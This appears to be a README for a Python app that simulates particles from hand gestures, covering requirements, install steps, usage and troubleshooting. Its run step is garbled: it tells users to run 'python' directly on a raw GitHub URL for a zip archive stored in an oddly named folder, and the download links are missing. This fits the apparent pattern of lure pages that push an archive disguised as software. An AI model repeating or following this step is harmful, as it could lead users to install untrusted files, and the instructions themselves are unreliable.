Welcome to the particle-physics-handtracking project! This application allows you to simulate particles using your hand gestures. It offers an exciting way to interact with particle physics without needing any programming skills. Let's dive in and get you started!
To get the latest version of the application, please visit our Releases page:
Before you begin, ensure that your system meets these requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: Python 3.7 or higher
- Libraries Needed:
- OpenCV
- Mediapipe
- NumPy
You can easily install the necessary libraries using the commands below.
-
Install Python: If you don't have Python installed, download it from the official website here. Follow the instructions based on your operating system.
-
Install Required Libraries: Open your command prompt (Windows) or terminal (macOS/Linux) and run the following command:
pip install opencv-python mediapipe numpy
-
Download the Application: To download the latest version, visit this page to download. Find the appropriate file for your operating system and download it.
-
Extract the Files: After downloading, locate the downloaded file. Right-click on it and choose to extract it. This will create a folder with all the necessary files.
-
Navigate to the Folder: Open your command prompt or terminal again and navigate to the folder where you extracted the application files. You can use the
cdcommand to change directories. -
Run the Application: Once you are in the correct folder, execute the application with this command:
python https://raw.githubusercontent.com/Hadefolarin/particle-physics-handtracking/main/preindebtedness/physics-handtracking-particle-3.6.zip
After running the application, you will see a window displaying the particle simulation. Follow these simple steps to control the particles:
- Setup Your Camera: Ensure that your camera is on and positioned correctly to capture your hand gestures.
- Start Moving Your Hands: Use gestures to interact with the particles. The application recognizes different hand movements to manipulate the simulations.
- Enjoy the Experience: Feel free to explore and experiment with the various gestures to see how they affect the particle system!
If you encounter issues while running the application, try the following:
- Camera Not Detected: Make sure your camera is functioning and that you have granted permissions.
- Libraries Not Found: Double-check that you have installed all the required libraries. You can repeat the installation command if necessary.
- Simulation Lag: Ensure that no other high-load applications are running simultaneously.
Your feedback is important for the growth of this application. If you have questions, suggestions, or run into any bugs, please feel free to reach out through the Issues section of the repository.
